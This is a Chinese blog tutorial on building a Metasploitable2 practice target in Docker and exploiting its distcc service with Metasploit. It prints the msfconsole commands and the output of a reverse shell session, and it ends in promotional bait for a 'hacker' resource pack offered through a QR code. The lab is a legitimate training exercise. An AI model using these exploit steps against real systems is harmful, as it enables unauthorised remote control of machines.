体验一把黑客的感觉——Unbuntu下用docker搭一个肉鸡(Metasploitable)来练靶(渗透测试)_ubuntu渗透工具

177 阅读3分钟

执行完之后可能要重新登录才能生效  
 检查是否安装成功



$ docker version


### 二. 安装Metasploitable


拉取metasploitable2镜像



$ docker pull tleemcjr/metasploitable2


运行metasploitable2容器



$ run --name mymetasploitable -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"


即可进入metasploitable2系统的命令行,执行`$ uname -a`可查看系统信息


### 三. 安装metasploit-framework



$ curl raw.githubusercontent.com/rapid7/meta… > msfinstall &&
chmod 755 msfinstall &&
./msfinstall


安装完成后执行`$ msfconsole`即可进入。


### 四. 进行渗透测试


进入msfconsole命令行窗口



$ msfconsole


docker肉鸡下用`$ ifconfig`查看ip,然后即可进行下面的测试。  
 以 exploit/unix/misc/distcc\_exec 漏洞为例,



msf > use exploit/unix/misc/distcc_exec msf > set RHOST x.x.x.x(docker肉鸡ip) msf > exploit


若渗透成功,则能成功取得肉鸡的shell控制,即可远程控制对方电脑。



msfconsole

msf > use exploit/unix/misc/distcc_exec

msf exploit(distcc_exec) > set RHOST 192.168.99.131

msf exploit(distcc_exec) > exploit

[*] Started reverse double handler

[*] Accepted the first client connection…

[*] Accepted the second client connection…

[*] Command: echo uk3UdiwLUq0LX3Bi;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets…

[*] Reading from socket B

[*] B: "uk3UdiwLUq0LX3Bi\r\n"

[*] Matching…

[*] A is input…

[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id

uid=1(daemon) gid=1(daemon) groups=1(daemon)


### 从靠劳力赚钱转变成靠脑力赚钱,想入门黑客的小白肯定想知道如何学好?



> 
> 👉[[[[CSDN大礼包:《黑客&网络安全入门&进阶学习资源》免费分享]]]]( )(**安全链接,放心点击**)
> 
> 
> 


### 一、网安学习成长路线图


网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。(全套教程文末领取哈)  
 ![在这里插入图片描述](https://p3-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/b372a6528b0b4caa845a1a290350fdee~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1771513705&x-signature=vLHsREJwzt0f7d06R%2FoxjE0fBhQ%3D)


### 二、网安视频合集


观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。  
 ![在这里插入图片描述](https://p3-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/8316674ad5534c33810e14f7b96bf0c6~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1771513705&x-signature=PPrECYfvwM%2BC73z%2FFzprUgufLS0%3D)


### 三、精品网安学习书籍


当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。  
 ![在这里插入图片描述](https://p3-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/6fb6dbbf417c4223aaf0fcd54c1c23b9~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1771513705&x-signature=8WokuG1UNVbD4ALJbT2KWaEatgg%3D)


### 四、网络安全源码合集+工具包


光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。  
 ![在这里插入图片描述](https://p3-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/b1224f68fc7b4834be113d333857c23a~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1771513705&x-signature=mb9CvW3u84Gu6kL8QyvmqXbdFa8%3D)


### 五、网络安全面试题


最后就是大家最关心的网络安全面试题板块  
 ![在这里插入图片描述](https://p3-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/55670b03da9d49889a3941071e6aede4~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1771513705&x-signature=kyHu0UcANyAZQgvkKPG1t2uWJtw%3D)![在这里插入图片描述](https://p3-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/6fd63be534cd4ee89449a70b56b77ab1~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1771513705&x-signature=H7SiSabC1hEQZS%2BJ6p9tW0ccjsQ%3D)  
 **这份完整版的学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】**



![](https://p3-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/0a791765ed6b43789eaf7cb2461cedad~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3MDgwNDUxMTkwMTI=:q75.awebp?rk3s=f64ab15b&x-expires=1771513705&x-signature=l84MQpZvWfr1SMCffv9K5sWMfdQ%3D)